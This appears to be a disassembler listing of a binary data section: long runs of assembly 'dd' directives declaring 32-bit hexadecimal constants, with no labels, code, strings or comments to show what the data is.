		dd 5397DD73h, 0D5633F2Bh, 17ADE7EDh, 62356421h,	0C4E62712h
		dd 91907508h, 380270C4h, 0C902E12Ah, 0F570E57Ch, 0E45758C9h
		dd 21AFB543h, 5055399Ch, 2374ECF3h, 0D21549AFh,	4CEF594h
		dd 0E1E65F90h, 0C61AF54Ah, 430D66ABh, 0E532AA5Ch, 0F2850A86h
		dd 0D65AD865h, 899BBA2Bh, 2B51D3Bh, 0B8720453h,	2C615D42h
		dd 0F19FBB2Ch, 0B2EF96Ah, 0BFF98B20h, 2440837Dh, 0D8F8D609h
		dd 6977B55Bh, 0B4719419h, 930DA3E7h, 43122C62h,	6FFFB61h
		dd 336C2079h, 50808E34h, 35BA0779h, 0A02503D3h,	67457757h
		dd 275D3CA5h, 0AA3C7EDDh, 70A8AB5Bh, 85A2DD88h,	5720B746h
		dd 905074EBh, 685C5F2Ah, 93A5C3A3h, 0A2F160F9h,	0B6169F54h
		dd 0BE196ED6h, 5CF49FE5h, 65B1866Bh, 0BEF3D709h, 7DEAB8E7h
		dd 732DB293h, 5D0EAD99h, 7DB475FFh, 518A9736h, 41552025h
		dd 99192E7Bh, 1158A726h, 0A0E9C6B3h, 386030D5h,	0D702BF6Fh
		dd 0EE84729Bh, 0C78425C8h, 0D8E12455h, 9DA98FD7h, 35CEE845h
		dd 4382D9h, 0A73709C7h,	0BA375890h, 5489690h, 392AB613h
		dd 6E4F1097h, 443345DAh, 734DB12Bh, 6B01D1CAh, 1EE7536h
		dd 0CB5A2FC3h, 164A805h, 4B3EB46Bh, 0F5D9BF1Ah,	0F0DDE53Eh
		dd 0B62DC7C9h, 0D513B92Eh, 0C67488B7h, 5535F005h, 4572C6B5h
		dd 0E92B93AEh, 0DCBF88Fh, 0B5A3A7F5h, 0DC618216h, 1DBD0FB1h
		dd 0BEDBE82Bh, 0F08FBD8Eh, 4BA2B4EAh, 2102DB46h, 0D74E872Dh
		dd 64002902h, 0BF8B436Fh, 0B6201613h, 83C7F5C9h, 124FAEA6h
		dd 9194E6EFh, 5C97BBDEh, 89A02C70h, 9E9BB761h, 64E1C71Bh
		dd 0AB7F7C70h, 218FA86Dh, 1B2BDB60h, 645DEE37h,	24D4F0EFh
		dd 53C5A71h, 0EB7907DDh, 0A1F2413Bh, 13E77B35h,	3648CBC1h
		dd 3741B61Eh, 8D120288h, 0BFBEF33Ch, 6B2956ADh,	5BA1AB1Fh
		dd 78D3A39Ch, 0E5455512h, 4B3C6B77h, 7F6930C1h,	0E2A38F30h
		dd 9C112B23h, 0BABC8FEFh, 8D9F9EF6h, 5C63516Fh,	0D2C8184h
		dd 85885DB4h, 0ACAEA44Dh, 220C8514h, 5DF45AC3h,	9B40FA80h
		dd 75B17EE7h, 86699C61h, 3F592AF6h, 749C6793h, 9652A48h
		dd 7F62A95Ah, 6F89F9BFh, 2A066F6Eh, 5022BBD9h, 1AE04656h
		dd 0B69E8873h, 0D4EEAE9Dh, 59BCC869h, 5667D879h, 0C1B946A2h
		dd 33A19E49h, 5AF68DA5h, 573E74C5h, 0FFC05C5Eh,	5ECD1F50h
		dd 0B4FED4FEh, 2B5552DFh, 0EDD454D0h, 0DB7F1961h, 166D0966h
		dd 3C17FC56h, 0DDB47A49h, 0EB592CFAh, 6CFBB7E2h, 367F543Ch
		dd 912F281Fh, 0AAA85CC4h, 0C6C0D446h, 5A0A4DDh,	0C072A164h
		dd 0AF9EE249h, 6D0E0546h, 67F97743h, 181EEE18h,	9EB0543h
		dd 23598E64h, 59B83BB9h, 38FC3934h, 53A814D1h, 6DF79DC5h
		dd 0A0E497D1h, 0F515738Eh, 0E1E4E095h, 1111225h, 303489EFh
		dd 3BEBA8B1h, 24622940h, 0BFCCAD0Bh, 5BE58410h,	767FC58Dh
		dd 74C38C2Ah, 15BC960Bh, 38A175C9h, 14E3F70Fh, 38046A7Ch
		dd 0D877A82Ah, 0B5B689EDh, 0D4303E69h, 0C4479D5Ch, 5483C429h
		dd 4DF51C36h, 0D2446DCBh, 17741ADEh, 0E703E8D2h, 0B42C830h
		dd 0A11C573h, 36DDD790h, 402EAF1Eh, 0EB195D45h,	663F3573h
		dd 0AABEB25Eh, 640841EBh, 0B3C9C0C7h, 0A8C15FA6h, 6CD61160h
		dd 667E615Bh, 9D10E64Dh, 0A5508595h, 49AEF13h, 0E5CE0872h
		dd 3CAF7C33h, 0FE869417h, 0A1BA3A2Ah, 0F8398081h, 1D61118Bh
		dd 3054ECCDh, 0E81270D9h, 7E923FE0h, 0BE68BC1Dh, 0EA5CA84Bh
		dd 0F937776Ah, 52AF1441h, 85F86C75h, 0CF29C29h,	1B41C8D4h
		dd 0A31310B2h, 0F2D242Ch, 4CD9D49Ah, 702BA11Eh,	842446F3h
		dd 16BE85C2h, 7501D4F6h, 89D017ADh, 6DC7647Fh, 0FF4EBE89h
		dd 10FDC242h, 68C78E74h, 0E5A25D4h, 0C3858EFEh,	1A54B5D0h
		dd 0D60A6CBh, 76A18A27h, 1C4450ACh, 8909FA31h, 6DE77BDh
		dd 46CD4FB6h, 0B7D902C7h, 63C8E352h, 24AA2EF6h,	0A6850A26h
		dd 430E8A3h, 14D1741Eh,	3BBCAB6Dh, 283FD617h, 8D1770CEh
		dd 826E9714h, 4D35C5C9h, 0BF06B22Dh, 741C6BB2h,	0D07D08E4h
		dd 2D5D62AFh, 20256105h, 0B7C81F20h, 11427D5h, 0B848EC25h
		dd 4FA18D4Dh, 7BBD87B9h, 779021A7h, 2AF88930h, 0D2401C55h
		dd 8D2742BAh, 51EAFB63h, 25535977h, 1FF81241h, 0A887DA6h
		dd 0AEB999A6h, 0E50ABCD1h, 96EC6E51h, 2AB231D8h, 139404BBh
		dd 0F68C3AE5h, 2D4714F2h, 41452728h, 6F8199F4h,	0E262B68h
		dd 0B974B6F1h, 0DD272D7Eh, 2A9D210Ah, 4B13C1ADh, 96302E1Eh
		dd 649BF7FCh, 0B1C18AB5h, 0DB094BFDh, 3F1AA7D8h, 8AF4A990h
		dd 535534C0h, 0DF20CF8Eh, 4632D937h, 27DB1911h,	98C6A5B8h
		dd 0C60086B0h, 0C95728DAh, 0E7DE6739h, 281A0B04h, 5714FD9Ch
		dd 578E47D2h, 8D8F7DB1h, 628B8680h, 172226B3h, 0A4B8BC56h
		dd 6638DC78h, 0E990BEE3h, 42B08910h, 0ADB0113Eh, 0CE883A4Bh
		dd 0F36EE611h, 0AD236D62h, 899B12h, 6FFDCF04h, 0E6F85870h
		dd 0BADBD47Eh, 402D12EFh, 46C340FDh, 0CE659F33h, 0F34E8BEDh
		dd 0A949453Dh, 0A6165A2Ch, 2E08427Eh, 28F61C27h, 51CCCFDDh
		dd 1108E057h, 1FADC577h, 0AA1D6BFh, 0CF182F62h,	5CE2E0A4h
		dd 0DF578668h, 0F519B59Bh, 8629D498h, 0A98C21D7h, 0F9196C66h
		dd 98DEFD8Ch, 3E0C9407h
		dd 5E47C6A8h, 0EB20EB10h, 989AFB32h, 3DE9E248h,	1BBA953Bh
		dd 0ECC3FD9Dh, 0B2FA8E7Ch, 2447014Bh, 8EE57E65h, 472780FDh
		dd 0D3C31478h, 3D31CEBDh, 0E3AD1D96h, 7D964105h, 0BA0E1FCh
		dd 0AFD1B71Dh, 0BEAE352Ah, 90F62F29h, 0E1FD65C2h, 39DFDF60h
		dd 3F66B138h, 0EFBF2AF1h, 0A3ECEF24h, 0F3C1E828h, 71B499D5h
		dd 391F125Eh, 3D89BEB5h, 0C2F8126h, 68493B33h, 97B4883Eh
		dd 0C7A6F9F9h, 0AA6ED3EFh, 6DC0493Fh, 0B16CB8E2h, 0C50B92F7h
		dd 0EA42B30Ah, 146396EAh, 608CE3FFh, 4D3C89BFh,	0DADBF8D3h
		dd 530C2E44h, 0D8AAE866h, 0EB81C51Ah, 606BEBA3h, 1468C1C2h
		dd 9C3FA3B9h, 0F80905BAh, 3D8DFBFDh, 8BA3C269h,	9990FE96h
		dd 31A43BB8h, 61B1C1AAh, 0E7A923EEh, 83FBC7C8h,	25B05466h
		dd 68F0ABF2h, 20C677Ah,	0CE1C9EAAh, 2413C4h, 0FCD8F0D0h
		dd 0F45A23DBh, 469D7281h, 8B13F189h, 0A89B4B41h, 40C98976h
		dd 43D632h, 29F071A1h, 32673B83h, 0A48BEA0Ah, 7A817D8Eh
		dd 96944D9h, 923D879Ch,	8FAEF97Dh, 1BD13C97h, 50F0A8Dh
		dd 76E6FE2h, 59D544CCh,	5E5F760h, 47FEAAB5h, 7F05413Ch
		dd 6507617Fh, 6C7E5CEFh, 0D7C1F481h, 40BF4733h,	26474AA4h
		dd 0AFDACB31h, 28F61B84h, 14217D31h, 39F23C1Fh,	0AD00BA3Dh
		dd 0A28D5197h, 4F23D781h, 0B02D9845h, 0DD7EB411h, 3AD9BDBEh
		dd 8DAD7839h, 0C2272FF3h, 6B305DD3h, 221A38ADh,	0A093AD9Dh
		dd 537E6B2h, 896A999Dh,	94779CB1h, 3415A3E2h, 82D5FE0h
		dd 0B8C66308h, 2E3FA07Ch, 1D977BA4h, 1A2868BAh,	32AF3822h
		dd 0A8937B8Fh, 0BB338771h, 370EA853h, 7FBDEDE5h, 0AB565857h
		dd 0ACA30D13h, 0BEC4EC64h, 76996088h, 0E41802F0h, 3299F92Ch
		dd 586A4D90h, 0AD887DE0h, 0FF7A6120h, 5DD9A545h, 22EFF0D6h
		dd 7943A215h, 171C7371h, 0F4EF7241h, 0D94308D9h, 0D9DB1FA6h
		dd 0C2D4B1E1h, 9083099h, 82309D37h, 26788A43h, 1AA492Fh
		dd 76ABD974h, 0AC50FEEBh, 502E5832h, 0C569BC73h, 80E4E4C5h
		dd 3FC9F9EBh, 8FF45545h, 6DD63FB7h, 0FCE2553Ch,	61168748h
		dd 0ED1F2D0Fh, 8E5E4158h, 1F8B6D2Eh, 0D839EF00h, 0B08E76F0h
		dd 0DB38D9C7h, 0AEE026A2h, 0DDE4BF2Bh, 0EC43E3E8h, 0EB7D8680h
		dd 0C7B5B935h, 0B548E1ABh, 0A50142E0h, 4507D657h, 0A4909F53h
		dd 39928137h, 0BE9B334Dh, 0BC512E6h, 0EC61E1F7h, 0A5313E61h
		dd 0B82343B2h, 4E54865Bh, 23AE3FD4h, 39F6F2B5h,	89F3A488h
		dd 1CAAF5F2h, 848797D2h, 65EA03AFh, 0AC69D023h,	96F274Dh
		dd 0C5B81917h, 6D230539h, 0C5A02620h, 445A5Fh, 5A62B11h
		dd 51008A52h, 5050DA2Fh, 7ED019C8h, 82EFD6BBh, 6F7026FEh
		dd 49804BD3h, 4ECA66FBh, 87E9217Ch, 87155550h, 0CAEBE606h
		dd 8FF6D18h, 971BC2Ch, 0FC6059DEh, 7249ADE5h, 1E807D4Dh
		dd 0EA74B876h, 682B9A87h, 67AD6276h, 51DF102Bh,	8F694D72h
		dd 0B798F5D7h, 77498482h, 0D4FE5388h, 7A54341Ch, 0BE432C81h
		dd 6EF5BC60h, 846C4D95h, 0B6ADB349h, 25BFA256h,	0D0C16622h
		dd 120A64E1h, 0C2FA8C13h, 0D05527D5h, 0DF9F1469h, 0F9E4A453h
		dd 0DD2DF808h, 9591E42Fh, 73A191D4h, 2674C977h,	5114405Bh
		dd 476BBA48h, 1B9EA6C6h, 22934CEAh, 0CFFFB3EFh,	8B93C532h
		dd 0E74AB6F2h, 2BA5308h, 87B6B86Fh, 4BACB91Ch, 0F0685648h
		dd 0B693664h, 4F6F704Ah, 6C13FA29h, 0C416B3BEh,	0FB5C7C5Ah
		dd 30E6D43Ah, 78F55414h, 10FCC370h, 0CE42D9ACh,	973A824Eh
		dd 0F66E5450h, 3F88AE54h, 79CF1FE8h, 12017336h,	0E18BE3E3h
		dd 19BC09Ah, 379C2BA6h,	0FFD7D192h, 0CC2B447Ah,	1921E375h
		dd 9494660h, 0FE264C4Ch, 0A066039h, 1E5CDA03h, 0F61A21BEh
		dd 0DE1D7DE7h, 4B3DCC88h, 74F02CEBh, 7C349AF9h,	31D46D86h
		dd 352EEED9h, 603E8BB5h, 35D589h, 1A661C1Ch, 9BEC1747h
		dd 90649756h, 0D26BC001h, 261E64B6h, 0E90847F0h, 0CA176704h
		dd 2C743F2Eh, 9872B111h, 9BB3869Bh, 0D83B9FCFh,	37F17AA7h
		dd 285FF860h, 6C4EA7D6h, 0A233673Ch, 22FC0009h,	94B2BC77h
		dd 0F49784CDh, 0B4EF3C97h, 854FFA64h, 6E0A9Dh, 9CF5A7ADh
		dd 3BA3FB4Eh, 0DACD973Ah, 1E003054h, 93036F5Dh,	9B75552Fh
		dd 0A0A45F74h, 8C23A40Dh, 0F2D1627Ch, 0C7DB9BEAh, 82A63D70h
		dd 6438EABAh, 85AA16F2h, 0A62C5BDBh, 95FE3DC6h,	0F48ED1D5h
		dd 0AC62FDC7h, 23BD685h, 5445E394h, 0A3C65621h,	4FDB759Dh
		dd 0F2047828h, 1E59F1AEh, 25F330EFh, 0E93700FBh, 25B9764h
		dd 0CBA92A8Ch, 0FEC1E11Ch, 0E2CDAAAEh, 0BC227C18h, 3C909BC7h
		dd 4EDFD2F7h, 0AEAD327Dh, 9F21D4h, 0F37A325Dh, 877198FEh
		dd 0BBC5947Eh, 9FB9E798h, 0C06D2576h, 1637E049h, 0EA90C5D4h
		dd 6B6EF291h, 55137969h, 4035EE47h, 4C7F4C45h, 0ECF866B9h
		dd 8442B5EBh, 0BF9B1EE2h, 8943FD17h, 0C8003ADFh, 0D3A17FC9h
		dd 0CE754AEEh, 8C90B9ACh, 3979D54Dh, 4F39AE0Fh,	0C0356F6Bh
		dd 0B9DA4C38h, 7D4E5AEEh, 806FD4EBh, 0F3041D87h, 1035972Dh
		dd 1004B8A5h, 1958C6E5h, 546DFF43h, 51FD32D8h, 7BBE5905h
		dd 0EAB7BC21h, 73F9F258h, 1267C907h, 0B3B2F494h, 41A20C51h
		dd 0D14A3FB6h, 0B2302E9Eh, 0A93C121Ah, 501935A0h, 0FC494BBh
		dd 798A1DF0h, 0D3B1ADD5h, 15DEB5FDh, 10BD33BDh,	0ADE20E21h
		dd 5B27D3F9h, 492EE441h, 0A1229770h, 0FF595644h, 0FC48BF1Fh
		dd 7A5FD80h, 0EA2E0673h, 0A007ACAh, 743F44AAh, 0F8EA252Bh
		dd 4A1D631Eh, 93B862C7h, 9974F458h, 0C0735A14h,	3BD38DF2h
		dd 4AE717F7h, 4FB8318Bh, 0D8659B82h, 7BAA26FAh,	0B092FDD6h
		dd 84530E0Bh, 0ADE4493Dh, 8BB166FAh, 0E1FF15DCh, 0BE769BA5h
		dd 92E09297h, 5DC6E02Eh, 0E941839Bh, 982062DBh,	0C2D224FAh
		dd 35E8B838h, 0BED584A4h, 0F8F61944h, 8F5250DAh, 1730AA10h
		dd 0A40FB842h, 3A450B92h, 216A1B13h, 8155C516h,	2B4709D3h
		dd 4F509D8h, 0F6AE638Eh, 0BB8443A6h, 0E1ACAB0Ch, 6D9D18A3h
		dd 0A9D94687h, 123168D6h, 0DE6D7836h, 843D35Ah,	1144061h
		dd 701C8426h, 4565955Ch, 176AADE4h, 58C81D8Ah, 0CB06A011h
		dd 0E42633ABh, 999D2177h, 3178D4CFh, 0B5820102h, 0EA169A5h
		dd 47CC6E7Dh, 0CA367F72h, 20E7C54Bh, 0A52FC005h, 2B6A17B2h
		dd 3746B919h, 0BF6C6A17h, 0CB9EEB0Fh, 1743D73Bh, 0D52FE140h
		dd 0C61EC913h, 84DD403Eh, 27FCC05Bh, 6C15918Dh,	90EB862Eh
		dd 9AF4ADE0h, 0A954EE1Fh, 0C306A2C5h, 9A4AD260h, 79ADBEF8h
		dd 0B0778948h, 11366734h, 454A1152h, 0F353FBD8h, 0E6854AEDh
		dd 0B7472092h, 0D4099744h, 1C0195A8h, 0A9323830h, 812B39E3h
		dd 0C30B4DECh, 0A8F2CF21h, 57B1FA13h, 23F22AF8h, 16BDBB62h
		dd 31F4BF2Ch, 534CDB86h, 24307F58h, 77D78FE6h, 1478FB91h
		dd 61A1416h, 0FE1C9064h, 9AA72F8Eh, 39F835Fh, 36C9E44Dh
		dd 0BEADD54Ah, 0D0204A0h, 8358E86Fh, 61ECE2Bh, 0F8E70F05h
		dd 0F1743533h, 2D2C8D1Eh, 7FF845EEh, 0C9A812EBh, 37EC316Fh
		dd 0B087EFA6h, 5F06CA44h, 44B951ACh, 0FCCF05DDh, 2741D019h
		dd 0B486217Ah, 6D3C949Eh, 0AA55A55Ch, 17FD72h, 84DE37A7h
		dd 0A3A8DC79h, 9078269Eh, 6B581FA6h, 0A6F0BD7Eh, 0F50BE350h
		dd 4053DCDEh, 4AC32562h, 759CE2D1h, 45445A3Ah, 0C6456B2h
		dd 0F511B70h, 0E7D49A6Ch, 8F0F5E44h, 0BD0CA046h, 0E2348078h
		dd 57D9DDCEh, 0F52A41E6h, 246EE13Fh, 0D2EFAB6Fh, 0D8BC6B95h
		dd 9C1BB5EBh, 0E0E04996h
		dd 0EA9FBB24h, 2BAF9C7Dh, 90304037h, 47F4CAA8h,	0ACDC281Bh
		dd 0FAB67E46h, 7FCB9341h, 4DAF6FAh, 2E896DE2h, 79113B44h
		dd 0A053EAF8h, 0DDD29A2Ch, 343192F6h, 0C599F06Dh, 5E032B94h
		dd 0D3C7733h, 7E82E993h, 187D2F3Fh, 4FAB6807h, 0DEE0730Eh
		dd 0F5D6129Dh, 0B1D998F5h, 128AB581h, 0B5CB9AF1h, 0F9D0080Ah
		dd 4F344F61h, 39647288h, 202A8E2Fh, 0B02B7265h,	73F34372h
		dd 0E1BF01D0h, 0E0E7E270h, 0B46AE463h, 0FEA64F92h, 0D4D94E40h
		dd 0F4C38C0Ah, 0B5BB5F68h, 0B1B0EBA3h, 0DDD3F99Ah, 0CC3A59DEh
		dd 39EA93E2h, 0A25ACCD1h, 0C63E76D0h, 52AD1AE9h, 59D55EBAh
		dd 0E10B520Ch, 0FADA06F2h, 7E95D244h, 80863C44h, 0BFB1BD01h
		dd 0C5E246ADh, 0E8B09636h, 52025590h, 2C1F7E60h, 3FDC0F34h
		dd 4589E464h, 77872D68h, 4F08A4A1h, 0CA0BCDA9h,	0CE3FA063h
		dd 0BB511FBBh, 0AE1440C0h, 2AEB4288h, 3D9AB79Dh, 0A5D935D5h
		dd 0F72241D0h, 96F957E7h, 4D7F9556h, 379AD135h,	8EFFD6BBh
		dd 7F597C80h, 47153C6Bh, 74DF8B3Ah, 0F0FFC1C3h,	4A039363h
		dd 7F493659h, 8AC48B51h, 0D93B916Eh, 0B44F3798h, 6B79A9B9h
		dd 37C19D20h, 6A8B88F2h, 0EC50A6EAh, 0D67CB7E7h, 0D35936C3h
		dd 85B9ECFBh, 0DE6FDEE4h, 5BC6BEC9h, 0F21B874Bh, 55CD2C4Bh
		dd 95332B98h, 0BB2996CDh, 0F1D895A3h, 0A9C330CAh, 8F90F5B1h
		dd 65E50306h, 6D2A8FFFh, 0DD43C5A4h, 0A3122B85h, 26719C01h
		dd 631D105Bh, 0B4D35148h, 0B5F803D0h, 3C417099h, 0A8C8BA1Bh
		dd 7E8F0BB1h, 3F9D702Ah, 0D9E432EAh, 81FF0F1Dh,	0E06BB0E2h
		dd 0F0F969E5h, 0F1DCBABh, 1FBD5A9Fh, 46E0645Eh,	0A4144805h
		dd 0DD78B86Ah, 2D37A02Ah, 0BA4B4DDCh, 304F5580h, 0B423C557h
		dd 0F0B60283h, 3471BE45h, 0E796B8BFh, 0BFE77A4Ch, 0B0A73286h
		dd 0A37F2DF0h, 0ECD76093h, 0B3D1CFE7h, 60DAE2B6h, 0CE9B1446h
		dd 18679D7Ch, 14105D82h, 0C88CEDDBh, 5E4AD933h,	1D226FF7h
		dd 25664494h, 6838B821h, 70BAF6C6h, 96D8DB3Bh, 0F2FD0EF7h
		dd 9D41170Dh, 3996F8D9h, 0F183CADCh, 927CB632h,	9019C9D7h
		dd 0BAFDD6E0h, 0ABABFEAAh, 866DB439h, 4D3412D1h, 0A3962011h
		dd 0CDB3480Ah, 5927CD8Ch, 61AE9898h, 0AB6057E7h, 3D25099Eh
		dd 0A2103A31h, 9B7DE3EFh, 3D913870h, 56A5ED17h,	0D4526DFAh
		dd 0E8831F13h, 0C34DB7BAh, 2FAE476Fh, 44521524h, 83074B80h
		dd 0BC2D17F8h, 4A63D403h, 8B19D282h, 9AF9BDB5h,	81B29CF9h
		dd 44376876h, 9DD4C3E1h, 0E604BDE7h, 6C364B69h,	60890B10h
		dd 9105782Fh, 87889CBAh, 0C3C3756Dh, 1801E74Fh,	80B1E44h
		dd 19E78F82h, 0E19E6EE8h, 138CC2F3h, 242E9B11h,	5C7AB6A5h
		dd 0BAD8BE24h, 11F6D129h, 66E6080Ch, 72BF7CBAh,	0FA03717Eh
		dd 0A50833BCh, 0ECC55AC5h, 711F7F59h, 6B842133h, 86101C06h
		dd 3B3DD562h, 40FEC1EAh, 0EBC1DF87h, 0FCD7CB30h, 0D645E452h
		dd 0ED9C0CB3h, 552AAF62h, 30BAEA3Fh, 0CEA111CDh, 95AC6B83h
		dd 0D8401BFh, 127DF80h,	8586A49Bh, 4681287Fh, 0AC63104Ch
		dd 2E77B723h, 0BF093508h, 7832EDDh, 0C2160E63h,	1E518505h
		dd 0DCFC7FF0h, 0F0E2A0D7h, 0B00BD212h, 9FAC8E2Eh, 994A98F7h
		dd 5C1D45CBh, 0F6D236C2h, 3CD20303h, 5262A234h,	0B6FFFFCEh
		dd 415E27Ah, 8CCE685Dh,	0C93270ABh, 0DF6C14CBh,	0A429CEEAh
		dd 85528ABFh, 24C8E018h, 5D18FD98h, 847E6A6Ch, 9B83520h
		dd 0D963EA87h, 0C4D942F7h, 0EEC47600h, 0BAF079BBh, 0EA1E984Ch
		dd 49ABD58Ch, 0D11D9939h, 6E86C1F8h, 0FF12C970h, 0EE18B0C3h
		dd 5E8D8CF6h, 0C2668419h, 4125AED2h, 0F0D90945h, 0B1BAF9EEh
		dd 1E209DE7h, 0CD382A39h, 0DD99AD27h, 6BB45FFFh, 613061D3h
		dd 4C08DCA4h, 7EE83A62h, 0E4769C3Dh, 0F6F4AD55h, 0C2812096h
		dd 3C897A16h, 879A7E38h, 3039DC05h, 14F78CF9h, 889542FBh
		dd 0BF440DD2h, 0E1EA48Eh, 8C8F07E1h, 7C28AE06h,	0A531A100h
		dd 809876B7h, 4160499Ah, 0AC752E1Fh, 0E7EEB75Eh, 50523AE7h
		dd 0FFDB6B3Dh, 0A00637Dh, 0E2F3B121h, 3DECD12h,	3E4A0D8Eh
		dd 0C5552427h, 416DAE0Ch, 0F98717FDh, 0E6AC1743h, 33F593FDh
		dd 2C903A68h, 95623192h, 0EC4C092Bh, 12414579h,	0D61C2050h
		dd 9169E166h, 0E46B07A0h, 8CAC2E37h, 2402DEA8h,	0E4BC7B21h
		dd 0C622F966h, 0A21D0E5h, 4FB8A5A2h, 6CCE1479h,	0C166651h
		dd 0D6FD847Dh, 1A6A6EDh, 0DCA1A552h, 0D173CA03h, 58A372DDh
		dd 0DF20926Ch, 8C29A1CDh, 1090DFC9h, 0CB1CEF37h, 677C75CDh
		dd 0C79852C6h, 6DB0D7BAh, 0A3CF25ACh, 55875B40h, 8944BDDAh
		dd 5D314DA2h, 0D6CECEE2h, 3711D66Eh, 0C3B425F4h, 709B8194h
		dd 0DB2F41Ah, 8C69692Dh, 0E6CDA2F1h, 0FD6843Bh,	0D6F42E55h
		dd 7B566D4Bh, 35C0C640h, 0D637ED7Ch, 6A81A152h,	0B74CF92Dh
		dd 0D276DA9Fh, 10482E2Bh, 0E7719591h, 0E10575CEh, 8292807Bh
		dd 124E0E7h, 287E2539h,	0D323190h, 5A67654Ah, 7E5CC82Ch
		dd 0B6DDB4F3h, 4DB8365Dh, 96058C16h, 0BC66EBAFh, 0EC63AA28h
		dd 78CB269Ch, 0B15E4CE0h, 0A498AFEBh, 0C19C8846h, 9782C659h
		dd 0BEEFFDBCh, 5C3B45AAh, 0C735E21Ah, 20B453D8h, 0D41557A2h
		dd 272B9E8Bh, 89FD0291h, 467EA26Ch, 5E6B2FBFh, 5FEEFDD1h
		dd 592F87C4h, 597EBB6Eh, 0ECEFE9B2h, 76490BCDh,	3447BDCAh
		dd 0C3265875h, 5E790832h, 9137C9B4h, 97318E42h,	0BE6B81CBh
		dd 90DDD24Fh, 17981107h, 0C1EE73DBh, 2D690484h,	76ABED9Bh
		dd 0E475573Dh, 393BB081h, 0E7C70F68h, 0FD684DF6h, 4DA9D45Bh
		dd 0DFF65532h, 0C2113BF9h, 0C668A94h, 2CA88466h, 0F5053A70h
		dd 0CD3A56BFh, 485EBE54h, 0D32B0411h, 0F4167802h, 0B834F12Dh
		dd 0BDB7A7D5h, 0D8C5634Fh, 0C0D5A961h, 0FFEFC635h, 0D41E3B4Ah
		dd 10CCA3DAh, 2686A46Fh, 3EFBFD54h, 0FB4277AEh,	7DE5D434h
		dd 0E9EAD915h, 0D201822Eh, 0DA4383B4h, 0D179E762h, 0A48D3727h
		dd 0E30A7EEFh, 0CB9F354Ah, 0DAFF937Ah, 11A9FFDh, 7846F7E9h
		dd 1402A7A4h, 0F8B7DF45h, 0BA35700Ch, 1F026DFBh, 98CC3EE9h
		dd 433361F3h, 10B59024h, 2B19DF34h, 0C8D78E6Bh,	685A8891h
		dd 8B1BCB41h, 983E549Dh, 38B47CEFh, 0F5F9E00h, 0A15F00F0h
		dd 208E678Dh, 374B40A1h, 0F0631B94h, 1329BEB1h,	1C5684C4h
		dd 6B0488DFh, 33DED07Bh, 54075425h, 0FFDCE329h,	5CBE3FC4h
		dd 323BBF77h, 271277AFh, 0E1E7EBEBh, 0AA83D643h, 3972FF23h
		dd 641F0668h, 0AB3AA1C1h, 13EE61DAh, 0E26096EDh, 53E0A628h
		dd 0A72E83Ah, 0BC5E38F5h, 5FA25EA6h, 0A9CB6090h, 0E9C18E46h
		dd 0A0C0A663h, 4BBF294Fh, 9758D8DAh, 0EABE701Bh, 3F040B88h
		dd 0F7FA4A36h, 0CA425981h, 0A5E12777h, 46180408h, 0AC4B136Bh
		dd 5D343FDh, 148E2334h,	0C2EFDF29h, 0D3442DD4h,	0BA94EDF1h
		dd 0AB9D039Fh, 0B6BAC41Bh, 0F3A4FE2Bh, 8CC15002h, 71F29143h
		dd 1FF35C6Ah, 875E2A88h, 49D55731h, 0B2C414h, 568E5947h
		dd 497B0982h, 667D130h,	0DA60C1Fh, 0A8AEA3D0h, 283B15C1h
		dd 8AEF8428h, 15922C9Dh, 0BD4ED627h, 7A363F46h,	73026A28h
		dd 779C117Bh, 0B33C6BFBh, 0BCF3AD48h, 7572AEB7h, 0EEFB8719h
		dd 9F93D762h, 8F40BB07h, 0C3463167h, 70667978h,	0A87503CFh
		dd 3836B836h, 0EADB39DBh, 0E2C05C16h, 0ED41C41Eh, 0F55265CDh
		dd 4A3D38h, 0D6D366B4h,	510E70C6h, 0CC5A7D94h, 0D32CFAF1h
		dd 0EB66B803h, 2726BBE4h, 3A537C18h, 92A728CAh,	0C53648AEh
		dd 0A31A0490h, 0E454C460h
		dd 0A8299CA0h, 2DAF6883h, 2BF44383h, 54447103h,	85FC2789h
		dd 66139D7h, 2DBCF8E3h,	0CBAAED6Dh, 0D258021h, 0A739A96Fh
		dd 49E45A77h, 0DDD68D18h, 52E13B3Dh, 59A44570h,	24663E60h
		dd 94F1A72Ch, 1C64229Eh, 48E95063h, 5A1CBC18h, 10B8823Eh
		dd 2600C2F4h, 0AB3D1850h, 0C8E51965h, 0C3A1C85Bh, 0E9385734h
		dd 344EB02Eh, 0A6AF7207h, 0AC4AA18Dh, 990D3FE1h, 0E2259A64h
		dd 6DAA10DCh, 0CF0762EFh, 0A1017D23h, 4B53655Bh, 0B231C3B6h
		dd 0FE12F725h, 909A2A90h, 98645BD8h, 0ABC4E0E8h, 2E8E56h
		dd 2386906Ch, 0DAF37930h, 85D0EACCh, 1CEF26E4h,	64B4270Bh
		dd 318EB396h, 0D03C78BEh, 55F6DA40h, 3E37C3F9h,	571D0709h
		dd 0E270CC9h, 0F15F329Dh, 4AD37489h, 7C168FD8h,	95937093h
		dd 911D3669h, 0E3A894CEh, 3110F8C5h, 0BB38D88h,	5CF8B21Dh
		dd 4347724Ah, 29FB5F88h, 0C2F18BE5h, 73028D17h,	0E2CA55FEh
		dd 83305BF6h, 4DCC4098h, 0B4E600B7h, 33119000h,	98E717C2h
		dd 0C9A10C78h, 0CF3AD4EAh, 0ED6D685h, 0D97AF1EEh, 1B6DFB76h
		dd 7FA5683Fh, 0D95B6ACBh, 99772DD2h, 0E9D3208Dh, 8D3F5427h
		dd 0CD158785h, 68AA3106h, 84237FB1h, 0E7D82350h, 0CC468F9Bh
		dd 0E83D6443h, 7B8705C0h, 66D64BFDh, 0B5B4781Dh, 7FAFC20Dh
		dd 0E6C494B0h, 3A548246h, 907D93EAh, 0A8FEDBDEh, 7E927AB4h
		dd 0C2DEBB99h, 0D9A2BE5h, 974A76D3h, 2F94DC9Dh,	27EBF6C5h
		dd 0F5388BC4h, 0FD58F1BDh, 2B01134Ch, 0A2E4F138h, 56E102h
		dd 0A74756A3h, 0A234D2C9h, 0F0DB1E21h, 514047ADh, 0CE46729Fh
		dd 0D2FF59F8h, 0E8038CBEh, 7C8A19A5h, 0D535D189h, 578F087Ah
		dd 37A8BEC5h, 0C4AB344Fh, 5981C736h, 4DE02387h,	0A5D16E93h
		dd 215D3012h, 0AA94418Ch, 41CEE506h, 302DBD99h,	472F6454h
		dd 0EBE73567h, 2DD68A04h, 0BA00E3CFh, 7A641B1h,	0E8194260h
		dd 0CC0D15C6h, 3C1C693h, 0AFB9FD5Dh, 0BC9F84F9h, 65A52AF1h
		dd 0F645B1DCh, 58CDC467h, 52D570DBh, 341BA2D1h,	8402DCE7h
